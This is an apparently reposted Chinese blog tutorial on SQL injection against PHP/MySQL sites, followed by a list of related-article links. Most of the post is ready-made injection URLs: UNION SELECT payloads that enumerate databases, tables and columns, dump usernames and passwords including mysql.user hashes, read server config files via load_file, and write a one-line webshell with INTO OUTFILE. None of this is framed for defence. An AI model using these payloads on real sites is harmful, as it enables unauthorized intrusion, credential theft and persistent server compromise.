zoukankan      html  css  js  c++  java
  • php+mysql注入

    1. SQL简单命令介绍:
    2. mysql.exe -u 用户名  -p  密码  -h  ip地址
    3. show databases;查看数据库
    4. select version();php注入下的版本号
    5. use database(表名);
    6. show tables;显示这张表的表名
    7. select * from table;
    8. insert update  等
    9. into outfile '路径'   (导出数据到路径)
    10. select load_file(hex)    查看路径hex编码内容

    注入用到的SQL函数:

    1. version()  版本(这点很重要,决定注入方式)
    2. database()  数据库名    -->知道数据库名,然后用它获取表
    3. user()   当前用户
    4. @@version_compile_os  操作系统

    注入流程:

    1. 判断是否有注入:http:www.cc.com/show.php?id=1
    2. order by来获取列数:比如是5
    3. 然后UNION SELECT来获取信息:http:www.cc.com/show.php?id=1 and 1=2 UNION SELECT  1,2,3,4,5 --(看报错的位置,比如爆出2,3,4,5)
    4. 然后获取版本号、数据库名、当前用户、操作系统等信息;http://www.cc.com/show.php?id=1 UNION SELECT 1,version(),database(),user(),@@version_compile_os --
    5. 然 后爆表名:http://www.cc.com/show.php?id=1 UNION SELECT 1,table_name,4,5 from information_schema.tables where table_schema=hex(数据库名),如果全部爆出表名,那么应该为group_concat(table_name);
    6. 然 后爆列名:http:www.cc.com/show.php?id=1 UNION SELECT 1,2,column_name ,4,5 from information_schema.schema.columns where table_name=hex(表名);全部爆出列名用group_concat(column_name);
    7. 最后爆字段:http:www.cc.com/show.php?id=1 UNION SELECT 1,用户名,3,密码,5 from 表名.

    总结:

      数据库名:

          表名:

            列名:

              最后爆字段:


    权限下注入入侵

    1. 需要root权限或者更高的权限
    2. 查看文件获取相关信息:load_file
    3. 导入导出一句话拿webshell:  into outfile

    获取网站根路径:

    1. 谷歌黑客   site:网址  waring
    2. 文件报错(主要在后面加上单引号什么的错误字符,查看是否报错)
    3. 查看敏感文件: info.php  phpinfo.php  test.php等暴露出的网站php的信息中有网站的根目录

    举例:

    1. 通过上面获取网站根目录:例如 D:/web/www/index.php;
    2. 查看文件获取相关信息:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, load_file('D:/web/www/index.php'),4,5 --
    3. 查看php中数据库的文件:尝试 conn.php common.php config.php或者通过扫描器爬行有哪些文件,如:http://www.cc.com/conn.php没有报错,但是没有显示信息;
    4. 然后通过http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,load_file('D:/web/www/con.php'),4,5 --
    5. 注意load_file文件中如果不用单引号,则必须用hex进行编码。
    6. 导出一句话拿webshell:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2, '一句话木马‘,4,5 into outfile 'D:/web/www/manage/upload/img/1.php'(网站路径,这里获取是可以扫描,还是?)
    7. 获取数据库账号和密码:http://www.cc.com/show.php?id=1 and 1=2 UNION SELECT 1,2,3,password,5 from mysql.user;
  • 相关阅读:
    LeetCode 32.使数组唯一的最小增量
    LeetCode 31. 最小的k个数 快速排序+堆排序+二叉搜索树
    LeetCode 30. 最长回文串
    LeetCode 29. 矩形重叠 反向思维
    LeetCode 28. 拼写单词 HashMap赋值给另一个HashMap
    LeetCode 27. 字符串压缩
    Java SSM Spring+Spring MVC+Mybatis整合
    LeetCode 26.岛屿的最大面积 DFS深度遍历问题
    LeetCode 25.最长上升子序列 动态规划
    LeetCode 24.找出数组中出现次数大于二分之一数组长度的数
  • 原文地址:https://www.cnblogs.com/blacksunny/p/5229270.html
Copyright © 2011-2022 走看看